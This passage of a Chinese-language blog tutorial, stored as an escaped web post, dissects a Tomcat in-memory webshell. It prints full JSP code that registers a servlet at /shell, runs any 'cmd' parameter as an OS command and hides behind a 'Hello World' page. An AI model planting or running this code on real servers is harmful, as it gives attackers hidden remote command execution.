\u4e0a\u4e0b\u6587\n    \/\/ \u5728 JSP \u4e2d\uff0crequest \u662f\u4e00\u4e2a\u9690\u5f0f\u5bf9\u8c61\uff0c\u5b83\u662f\u7531 Servlet \u5bb9\u5668\uff08\u5982 Tomcat\uff09\u81ea\u52a8\u63d0\u4f9b\u7ed9\u6bcf\u4e2a\u8bf7\u6c42\u7684\u3002request \u5bf9\u8c61\u662f HttpServletRequest \u7c7b\u578b\u7684\u5b9e\u4f8b\uff0c\u5305\u542b\u4e86\u4e0e HTTP \u8bf7\u6c42\u76f8\u5173\u7684\u4fe1\u606f\uff0c\u6bd4\u5982\u8bf7\u6c42\u53c2\u6570\u3001\u8bf7\u6c42\u5934\u3001\u8bf7\u6c42\u65b9\u6cd5\u7b49\u3002\u4f60\u53ef\u4ee5\u76f4\u63a5\u5728 JSP \u4e2d\u4f7f\u7528\u5b83\u6765\u83b7\u53d6\u8fd9\u4e9b\u4fe1\u606f\u3002\n    \/\/ HttpServletRequest\u7ee7\u627f\u4e86ServletRequest\uff0c\u6240\u4ee5\u53ef\u4ee5\u53d6\u5230ServletRequest.request\u8fd9\u4e2a\u5b57\u6bb5\n    Field reqField = request.getClass().getDeclaredField(\"request\");\n    reqField.setAccessible(true);\n    \/\/ Request\u662f\u4e00\u4e2a\u7ee7\u627f\u4e86HttpServletRequest\u7684\u5bf9\u8c61\uff0c\u6240\u4ee5\u53ef\u4ee5\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\u6765\u62ff\u5230Request\u5bf9\u8c61\n    Request req = (Request) reqField.get(request);\n    \/\/ Request\u63d0\u4f9b\u4e86getContext\u7684\u65b9\u6cd5\uff0c\u6240\u4ee5\u8fd9\u91cc\u53ef\u4ee5\u53d6\u5230context\n    StandardContext stdContext = (StandardContext) req.getContext();\n\n    String servletName = servlet.getClass().getSimpleName() + \"_\" + System.currentTimeMillis();\n    \/\/ \u521b\u5efa\u5e76\u914d\u7f6e\u65b0\u7684 Wrapper\n    Wrapper newWrapper = stdContext.createWrapper(); \n    newWrapper.setName(servletName);\n    \/\/ \u8bbe\u7f6e\u4e3a\u91cd\u542f\u65f6\u52a0\u8f7d\n    \/\/ loadOnStartup\u9ed8\u8ba4\u503c\u4e3a-1\uff0c\u8868\u793aServlet\u547d\u4e2d\u65f6\u52a0\u8f7d\n    \/\/ loadOnStartUp!=-1\u65f6\uff0c\u8868\u793a\u52a0\u8f7d\u7684\u4f18\u5148\u7ea7\n    newWrapper.setLoadOnStartup(1);\n    newWrapper.setServlet(servlet);\n    newWrapper.setServletClass(servlet.getClass().getName());\n\n    \/\/ \u5c06 Servlet \u6dfb\u52a0\u5230\u4e0a\u4e0b\u6587\u4e5f\u5c31\u662fcontext\u4e2d\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u80fd\u591f\u8bbf\u95ee\u5230\u8fd9\u4e2aServlet\u4e86\n    stdContext.addChild(newWrapper);\n    stdContext.addServletMappingDecoded(\"\/shell\", servletName);\n%>\n\n<!DOCTYPE html>\n<html>\n<head>\n  <title>JSP - Hello World<\/title>\n<\/head>\n<body>\n<h1><%= \"Hello World!\" %><\/h1>\n<br\/>\n<a href=\"hello-servlet\">Hello Servlet<\/a>\n<\/body>\n<\/html><\/code><\/pre>\n
          \u5206\u6790\uff1a<\/h3>\n
          \u9875\u9762\u6307\u4ee4\u4e0e\u5bfc\u5165<\/h4>\n
          <%@ page contentType=\"text\/html; charset=UTF-8\" pageEncoding=\"UTF-8\" %>\n<%@ page import=\"org.apache.catalina.core.StandardContext\" %>\n<%@ page import=\"java.lang.reflect.Field\" %>\n<%@ page import=\"org.apache.catalina.connector.Request\" %>\n<%@ page import=\"java.io.InputStream\" %>\n<%@ page import=\"java.util.Scanner\" %>\n<%@ page import=\"java.io.IOException\" %>\n<%@ page import=\"org.apache.catalina.Wrapper\" %>\n<%@ page import=\"javax.servlet.Servlet\" %>\n<%@ page import=\"javax.servlet.ServletConfig\" %>\n<%@ page import=\"javax.servlet.ServletException\" %>\n<%@ page import=\"javax.servlet.ServletRequest\" %>\n<%@ page import=\"javax.servlet.ServletResponse\" %><\/code><\/pre>\n\n\n\n\n\n\n
          \u6307\u4ee4<\/th>\n\u542b\u4e49<\/th>\n<\/tr>\n<\/thead>\n
          contentType=\"text\/html; charset=UTF-8\"<\/code><\/td>\n\u544a\u8bc9\u6d4f\u89c8\u5668\u8fd4\u56de\u7684\u5185\u5bb9\u662f HTML\uff0c\u7f16\u7801\u4e3a UTF-8<\/td>\n<\/tr>\n
          pageEncoding=\"UTF-8\"<\/code><\/td>\nJSP \u6587\u4ef6\u672c\u8eab\u4f7f\u7528 UTF-8 \u7f16\u7801\u7f16\u8bd1<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n\n\n\n\n\n\n\n\n\n\n
          \u5305 \/ \u7c7b<\/th>\n\u5728\u653b\u51fb\u4e2d\u7684\u4f5c\u7528<\/th>\n<\/tr>\n<\/thead>\n
          org.apache.catalina.core.StandardContext<\/code><\/td>\nTomcat \u4e2d\u4ee3\u8868\u4e00\u4e2a Web \u5e94\u7528\u7684\u5185\u90e8\u7c7b\u3002\u6240\u6709\u5df2\u90e8\u7f72\u7684 Servlet\u3001Filter\u3001Listener \u90fd\u6ce8\u518c\u5728\u8fd9\u4e2a\u5bf9\u8c61\u91cc\u3002\u653b\u51fb\u7684\u6838\u5fc3\u76ee\u6807\u2014\u2014\u62ff\u5230\u5b83\u7684\u5f15\u7528\uff0c\u5e76\u5411\u5176\u4e2d\u5199\u5165\u6076\u610f\u7ec4\u4ef6\u3002<\/strong><\/td>\n<\/tr>\n
          org.apache.catalina.connector.Request<\/code><\/td>\nTomcat \u5bf9 HttpServletRequest<\/code> \u7684\u5185\u90e8\u5b9e\u73b0\u7c7b\u3002\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u5b83\uff0c\u8fdb\u800c\u8c03\u7528 getContext()<\/code> \u65b9\u6cd5\u62ff\u5230 StandardContext<\/code>\u3002<\/td>\n<\/tr>\n
          org.apache.catalina.Wrapper<\/code><\/td>\nTomcat \u4e2d\u4ee3\u8868\u4e00\u4e2a Servlet \u7684\u5305\u88c5\u7c7b\u3002\u521b\u5efa\u4e00\u4e2a Wrapper<\/code> \u5c31\u662f\u5411\u5bb9\u5668\u6ce8\u518c\u4e00\u4e2a\u65b0\u7684 Servlet\u3002<\/td>\n<\/tr>\n
          javax.servlet.*<\/code><\/td>\n\u6807\u51c6\u7684 Servlet API \u63a5\u53e3\u3002\u6211\u4eec\u9700\u8981\u5b9e\u73b0\u4e00\u4e2a\u7b26\u5408\u89c4\u8303\u4f46\u5305\u542b\u6076\u610f\u903b\u8f91\u7684 Servlet<\/code>\u3002<\/td>\n<\/tr>\n
          java.lang.reflect.Field<\/code><\/td>\nJava \u53cd\u5c04\u673a\u5236\u4e2d\u7684 Field<\/code> \u7c7b\u3002\u8fd9\u91cc\u7528\u4e8e\u7a81\u7834\u8bbf\u95ee\u9650\u5236<\/strong>\u2014\u2014\u901a\u8fc7\u53cd\u5c04\u62ff\u5230\u901a\u5e38\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\u7684 request.request<\/code> \u5185\u90e8\u5b57\u6bb5\u3002<\/td>\n<\/tr>\n
          java.io.InputStream<\/code> \/ java.util.Scanner<\/code><\/td>\n\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u540e\u8bfb\u53d6\u8f93\u51fa\u6d41\uff0c\u5c06\u547d\u4ee4\u6267\u884c\u7ed3\u679c\u8fd4\u56de\u7ed9\u653b\u51fb\u8005\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
          \u6784\u9020\u6076\u610f Servlet \uff1a<\/h4>\n
          <%!\n  Servlet servlet = new Servlet() {\n    @Override\n    public void init(ServletConfig servletConfig) throws ServletException {\n      \/\/ \u521d\u59cb\u5316\u903b\u8f91\uff08\u53ef\u4e3a\u7a7a\uff09\n    }\n\n    @Override\n    public ServletConfig getServletConfig() {\n      return null;\n    }\n\n    @Override\n    public void service(ServletRequest servletRequest, ServletResponse servletResponse)\n        throws ServletException, IOException {\u00a0<\/code><\/pre>\n
          executeCommand()<\/code> \u65b9\u6cd5\uff1a<\/h4>\n
              private String executeCommand(String[] cmds) {\n      StringBuilder output = new StringBuilder();\n      try (InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n           Scanner scanner = new Scanner(in).useDelimiter(\"\\a\")) {\n        if (scanner.hasNext()) {\n          output.append(scanner.next());\n        }\n      } catch (IOException e) {\n        output.append(\"Error executing command: \").append(e.getMessage());\n      }\n      return output.toString();\n    }<\/code><\/pre>\n
            \n
          • \u4f7f\u7528 Runtime.getRuntime().exec()<\/code> \u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/li>\n
          • \u83b7\u53d6\u547d\u4ee4\u8f93\u51fa\u7684 InputStream<\/code><\/li>\n
          • \u7528 Scanner<\/code> \u914d\u5408 a<\/code>\uff08BEL \u5b57\u7b26\uff0c\u6b63\u5e38\u8f93\u51fa\u4e2d\u4e0d\u4f1a\u51fa\u73b0\uff09\u4f5c\u4e3a\u5206\u9694\u7b26\uff0c\u8bfb\u53d6\u5168\u90e8\u8f93\u51fa<\/li>\n
          • \u5982\u679c\u6267\u884c\u51fa\u9519\uff0c\u5c06\u9519\u8bef\u4fe1\u606f\u4f5c\u4e3a\u8fd4\u56de\u503c\u8fd4\u56de<\/li>\n<\/ul>\n
            \u5e73\u53f0\u517c\u5bb9\u5904\u7406\uff1a<\/h4>\n
                  boolean isLinux = !System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n      String[] cmds = isLinux\n          ? new String[]{\"sh\", \"-c\", cmd}\n          : new String[]{\"cmd.exe\", \"\/c\", cmd};<\/code><\/pre>\n
            \u901a\u8fc7\u68c0\u67e5 os.name<\/code> \u7cfb\u7edf\u5c5e\u6027\u5224\u65ad\u64cd\u4f5c\u7cfb\u7edf\u7c7b\u578b\uff1a<\/p>\n\n\n\n\n\n\n
            \u64cd\u4f5c\u7cfb\u7edf<\/th>\n\u6267\u884c\u65b9\u5f0f<\/th>\n\u793a\u4f8b\u547d\u4ee4<\/th>\n<\/tr>\n<\/thead>\n
            Windows<\/td>\ncmd.exe \/c <\u547d\u4ee4><\/code><\/td>\ncmd.exe \/c whoami<\/code><\/td>\n<\/tr>\n
            Linux \/ macOS<\/td>\nsh -c <\u547d\u4ee4><\/code><\/td>\nsh -c id<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
            -c<\/code> \u6216 \/c<\/code> \u53c2\u6570\u7684\u542b\u4e49\u662f"\u6267\u884c\u540e\u9762\u7684\u5b57\u7b26\u4e32\uff0c\u6267\u884c\u5b8c\u6bd5\u540e\u9000\u51fa"\u3002<\/p>\n
            service()<\/code> \u65b9\u6cd5\uff1a<\/h4>\n
                @Override\n    public void service(ServletRequest servletRequest, ServletResponse servletResponse)\n        throws ServletException, IOException {\n      String cmd = servletRequest.getParameter(\"cmd\");\n      if (cmd == null || cmd.trim().isEmpty()) {\n        servletResponse.getWriter().println(\"No command specified.\");\n        return;\n      }\n      \/\/ ...\n      String[] cmds = isLinux ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"\/c\", cmd};\n      String output = executeCommand(cmds);\n      servletResponse.setContentType(\"text\/plain\");\n      servletResponse.getWriter().println(output);\n    }<\/code><\/pre>\n
              \n
            • \u4ece\u8bf7\u6c42\u4e2d\u53d6 cmd<\/code> \u53c2\u6570<\/li>\n
            • \u5982\u679c cmd<\/code> \u4e3a\u7a7a\uff0c\u8fd4\u56de\u63d0\u793a\u4fe1\u606f<\/li>\n
            • \u6839\u636e\u64cd\u4f5c\u7cfb\u7edf\u7c7b\u578b\u6784\u9020\u547d\u4ee4<\/li>\n
            • \u6267\u884c\u547d\u4ee4\u5e76\u8fd4\u56de\u7ed3\u679c<\/li>\n<\/ul>\n
              \u5176\u4ed6\u63a5\u53e3\u65b9\u6cd5\uff1a<\/h4>\n
                  @Override public void init(ServletConfig config) { \/* \u7a7a\u5b9e\u73b0 *\/ }\n    @Override public ServletConfig getServletConfig() { return null; }\n    @Override public String getServletInfo() { return null; }\n    @Override public void destroy() { \/* \u7a7a\u5b9e\u73b0 *\/ }<\/code><\/pre>\n
              \u8fd9\u4e9b\u662f Servlet<\/code> \u63a5\u53e3\u8981\u6c42\u5b9e\u73b0\u7684\u65b9\u6cd5\u3002\u56e0\u4e3a\u662f\u5185\u5b58\u9a6c\uff0c\u6211\u4eec\u4e0d\u9700\u8981\u751f\u547d\u5468\u671f\u7ba1\u7406\u548c\u914d\u7f6e\u4fe1\u606f\uff0c\u6240\u4ee5\u5168\u90e8\u7ed9\u7a7a\u5373\u53ef\u3002<\/p>\n
              \u6ce8\u5165\u903b\u8f91\uff1a<\/h4>\n
              <%\n    \/\/ \u4f7f\u7528\u53cd\u5c04\u83b7\u53d6 StandardContext \u4e0a\u4e0b\u6587\n    \/\/ \u5728 JSP \u4e2d\uff0crequest \u662f\u4e00\u4e2a\u9690\u5f0f\u5bf9\u8c61...\n    Field reqField = request.getClass().getDeclaredField(\"request\");\n    reqField.setAccessible(true);\n    \/\/ Request\u662f\u4e00\u4e2a\u7ee7\u627f\u4e86HttpServletRequest\u7684\u5bf9\u8c61\uff0c\u6240\u4ee5\u53ef\u4ee5\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\u6765\u62ff\u5230Request\u5bf9\u8c61\n    Request req = (Request) reqField.get(request);\n    \/\/ Request\u63d0\u4f9b\u4e86getContext\u7684\u65b9\u6cd5\uff0c\u6240\u4ee5\u8fd9\u91cc\u53ef\u4ee5\u53d6\u5230context\n    StandardContext stdContext = (StandardContext) req.getContext();<\/code><\/pre>\n
              RequestFacade<\/code> \u662f\u4e00\u4e2a\u95e8\u9762\u6a21\u5f0f\uff08Facade Pattern\uff09\u5b9e\u73b0\uff0c\u5c01\u88c5\u4e86 Request<\/code> \u5bf9\u8c61\uff0c\u8ba9 Web \u5e94\u7528\u53ea\u80fd\u901a\u8fc7\u6807\u51c6\u63a5\u53e3\u64cd\u4f5c\uff0c\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee Tomcat \u5185\u90e8 API\u3002\u53cd\u5c04\u7684\u76ee\u7684\u5c31\u662f\u7a7f\u900f\u8fd9\u5c42\u95e8\u9762<\/strong>\u3002<\/p>\n
              Request.getContext()<\/code> \u65b9\u6cd5\u8fd4\u56de\u5f53\u524d\u8bf7\u6c42\u6240\u5c5e\u7684 Web \u5e94\u7528\u4e0a\u4e0b\u6587\uff0c\u7c7b\u578b\u662f org.apache.catalina.Context<\/code>\uff08\u63a5\u53e3\uff09\uff0c\u5b9e\u9645\u5b9e\u73b0\u662f StandardContext<\/code>\u3002<\/p>\n
              StandardContext<\/code> \u5c31\u662f Context \u7684\u6807\u51c6\u5b9e\u73b0\u3002\u62ff\u5230\u5b83\uff0c\u5c31\u7b49\u4e8e\u62ff\u5230\u4e86\u8fd9\u4e2a Web \u5e94\u7528\u7684\u5168\u90e8\u7ba1\u7406\u6743\u9650\u2014\u2014\u53ef\u4ee5\u6dfb\u52a0\u3001\u4fee\u6539\u3001\u5220\u9664\u4efb\u4f55 Servlet\u3001Filter\u3001Listener\u3002<\/p>\n
              \u521b\u5efa\u5e76\u914d\u7f6e Wrapper\uff1a<\/h4>\n
                  String servletName = servlet.getClass().getSimpleName() + \"_\" + System.currentTimeMillis();\n    \/\/ \u521b\u5efa\u5e76\u914d\u7f6e\u65b0\u7684 Wrapper\n    Wrapper newWrapper = stdContext.createWrapper();\n    newWrapper.setName(servletName);\n    \/\/ \u8bbe\u7f6e\u4e3a\u91cd\u542f\u65f6\u52a0\u8f7d\n    \/\/ loadOnStartup\u9ed8\u8ba4\u503c\u4e3a-1\uff0c\u8868\u793aServlet\u547d\u4e2d\u65f6\u52a0\u8f7d\n    \/\/ loadOnStartUp!=-1\u65f6\uff0c\u8868\u793a\u52a0\u8f7d\u7684\u4f18\u5148\u7ea7\n    newWrapper.setLoadOnStartup(1);\n    newWrapper.setServlet(servlet);\n    newWrapper.setServletClass(servlet.getClass().getName());<\/code><\/pre>\n
              \u6b65\u9aa4\u62c6\u89e3<\/p>\n\n\n\n\n\n\n\n\n\n\n
              \u64cd\u4f5c<\/th>\n\u4ee3\u7801<\/th>\n\u542b\u4e49<\/th>\n<\/tr>\n<\/thead>\n
              \u751f\u6210\u552f\u4e00\u540d\u79f0<\/td>\ngetSimpleName() + \"_\" + currentTimeMillis()<\/code><\/td>\n\u907f\u514d\u4e0e\u5df2\u5b58\u5728\u7684 Servlet \u540d\u79f0\u51b2\u7a81\u3002\u533f\u540d\u5185\u90e8\u7c7b\u7f16\u8bd1\u540e\u7684\u7b80\u5355\u540d\u53ef\u80fd\u662f \"\"<\/code> \u6216 \"$1\"<\/code>\uff0c\u62fc\u63a5\u65f6\u95f4\u6233\u786e\u4fdd\u552f\u4e00\u6027\u3002<\/td>\n<\/tr>\n
              \u521b\u5efa Wrapper<\/td>\nstdContext.createWrapper()<\/code><\/td>\nTomcat \u63d0\u4f9b\u7684\u5de5\u5382\u65b9\u6cd5\uff0c\u8fd4\u56de\u4e00\u4e2a StandardWrapper<\/code> \u5b9e\u4f8b\uff08Wrapper<\/code> \u63a5\u53e3\u7684\u5b9e\u73b0\uff09\u3002<\/td>\n<\/tr>\n
              \u8bbe\u7f6e\u540d\u79f0<\/td>\nnewWrapper.setName(servletName)<\/code><\/td>\n\u7ed9\u8fd9\u4e2a Servlet \u5728\u5bb9\u5668\u5185\u4e00\u4e2a\u552f\u4e00\u6807\u8bc6\u3002<\/td>\n<\/tr>\n
              \u8bbe\u7f6e\u52a0\u8f7d\u4f18\u5148\u7ea7<\/td>\nnewWrapper.setLoadOnStartup(1)<\/code><\/td>\n\u5f53 Tomcat \u91cd\u542f\u65f6\uff0c\u503c \u2265 0 \u7684 Servlet \u4f1a\u88ab\u9884\u52a0\u8f7d\u3002\u8bbe\u4e3a 1 \u8868\u793a\u5728 Web \u5e94\u7528\u542f\u52a8\u540e\u7acb\u5373\u52a0\u8f7d\uff0c\u4f46\u4e0d\u6307\u5b9a\u5177\u4f53\u987a\u5e8f\u3002\u8bbe\u4e3a -1 \u8868\u793a\u61d2\u52a0\u8f7d\uff08\u9996\u6b21\u8bbf\u95ee\u65f6\u624d\u52a0\u8f7d\uff09\u3002\u7531\u4e8e\u5185\u5b58\u9a6c\u5df2\u7ecf\u6ce8\u5165\u4e86\uff0c\u8bbe\u4e3a\u6b63\u6570\u662f\u4e3a\u4e86\u6a21\u62df\u771f\u5b9e Servlet \u7684\u884c\u4e3a\u3002<\/strong><\/td>\n<\/tr>\n
              \u7ed1\u5b9a Servlet \u5b9e\u4f8b<\/td>\nnewWrapper.setServlet(servlet)<\/code><\/td>\n\u5c06\u6211\u4eec\u5728 <%! %><\/code> \u4e2d\u521b\u5efa\u7684\u6076\u610f Servlet \u5b9e\u4f8b\u7ed1\u5b9a\u5230 Wrapper \u4e0a\u3002<\/td>\n<\/tr>\n
              \u8bbe\u7f6e\u7c7b\u540d<\/td>\nnewWrapper.setServletClass(servlet.getClass().getName())<\/code><\/td>\n\u8bb0\u5f55\u8fd9\u4e2a Servlet \u7684\u7c7b\u5168\u9650\u5b9a\u540d\uff0cTomcat \u7528\u5b83\u6765\u505a\u65e5\u5fd7\u3001\u7ba1\u7406\u63a7\u5236\u53f0\u5c55\u793a\u7b49\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
              Wrapper \u5728 Tomcat \u4e2d\u7684\u89d2\u8272\uff1a<\/h4>\n
              Tomcat \u4f7f\u7528 Wrapper \u2192 Context \u2192 Host \u2192 Engine<\/strong> \u7684\u56db\u7ea7\u5bb9\u5668\u5c42\u6b21\u7ed3\u6784\uff1a<\/p>\n
              Engine\uff08\u5f15\u64ce\uff09\n  \u2514\u2500\u2500 Host\uff08\u865a\u62df\u4e3b\u673a\uff0c\u5982 localhost\uff09\n        \u2514\u2500\u2500 Context\uff08Web \u5e94\u7528\uff0c\u5982 \/servlet-1.0-SNAPSHOT\uff09\n              \u2514\u2500\u2500 Wrapper\uff08\u5355\u4e2a Servlet\uff09<\/code><\/pre>\n
              \u6bcf\u4e2a Servlet \u5728 Tomcat \u5185\u90e8\u90fd\u88ab\u5305\u88c5\u6210\u4e00\u4e2a Wrapper<\/code> \u5bf9\u8c61\u3002\u521b\u5efa\u4e00\u4e2a Wrapper<\/code> \u5e76\u5c06\u5b83\u6dfb\u52a0\u5230 Context \u4e2d\uff0c\u5c31\u7b49\u4e8e\u5728 Web \u5e94\u7528\u91cc\u52a8\u6001\u6ce8\u518c\u4e86\u4e00\u4e2a\u65b0\u7684 Servlet\u3002<\/p>\n
              \u5c06 Servlet \u6302\u8f7d\u5230 URL \u8def\u5f84\uff1a<\/h4>\n
                  \/\/ \u5c06 Servlet \u6dfb\u52a0\u5230\u4e0a\u4e0b\u6587\u4e5f\u5c31\u662fcontext\u4e2d\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u80fd\u591f\u8bbf\u95ee\u5230\u8fd9\u4e2aServlet\u4e86\n    stdContext.addChild(newWrapper);\n    stdContext.addServletMappingDecoded(\"\/shell\", servletName);<\/code><\/pre>\n
              addChild(newWrapper)<\/code>\u5c06\u65b0\u521b\u5efa\u7684 Wrapper<\/code> \u6dfb\u52a0\u5230 StandardContext<\/code> \u7684\u5b50\u5217\u8868\u4e2d\u3002\u5728 Tomcat \u7684\u5bb9\u5668\u6a21\u578b\u4e2d\uff0c\u5b50\u5bb9\u5668\u901a\u8fc7 <\/p>\n
              addChild()<\/code> \u6ce8\u518c\u5230\u7236\u5bb9\u5668\u4e2d\u3002<\/p>\n
              \u65b9\u6cd5\u540d\u4e3a\u4ec0\u4e48\u53eb addServletMappingDecoded<\/code>\uff1f<\/strong><\/p>\n
                \n
              • addServletMapping<\/code>\uff1a\u6dfb\u52a0 URL \u6620\u5c04<\/li>\n
              • Decoded<\/code>\uff1a\u8868\u793a\u8def\u5f84\u5df2\u7ecf\u7ecf\u8fc7 URL \u89e3\u7801\u5904\u7406<\/li>\n<\/ul>\n
                \u8fd9\u4e2a\u65b9\u6cd5\u5185\u90e8\u4f1a\u7ef4\u62a4\u4e00\u4e2a URL \u2192 Wrapper \u7684\u6620\u5c04\u8868\u3002\u5f53\u8bf7\u6c42 \/shell<\/code> \u65f6\uff0cTomcat \u6839\u636e\u8fd9\u4e2a\u8868\u627e\u5230\u5bf9\u5e94\u7684 Wrapper<\/code>\uff0c\u518d\u8c03\u7528\u5176\u5305\u88f9\u7684 Servlet \u7684 service()<\/code> \u65b9\u6cd5\u3002<\/p>\n
                \u8fd4\u56de\u7684\u4f2a\u88c5\u6b63\u5e38\u9875\u9762\u5185\u5bb9\uff1a<\/h4>\n
                <!DOCTYPE html>\n<html>\n<head>\n  <title>JSP - Hello World<\/title>\n<\/head>\n<body>\n<h1><%= \"Hello World!\" %><\/h1>\n<br\/>\n<a href=\"hello-servlet\">Hello Servlet<\/a>\n<\/body>\n<\/html><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
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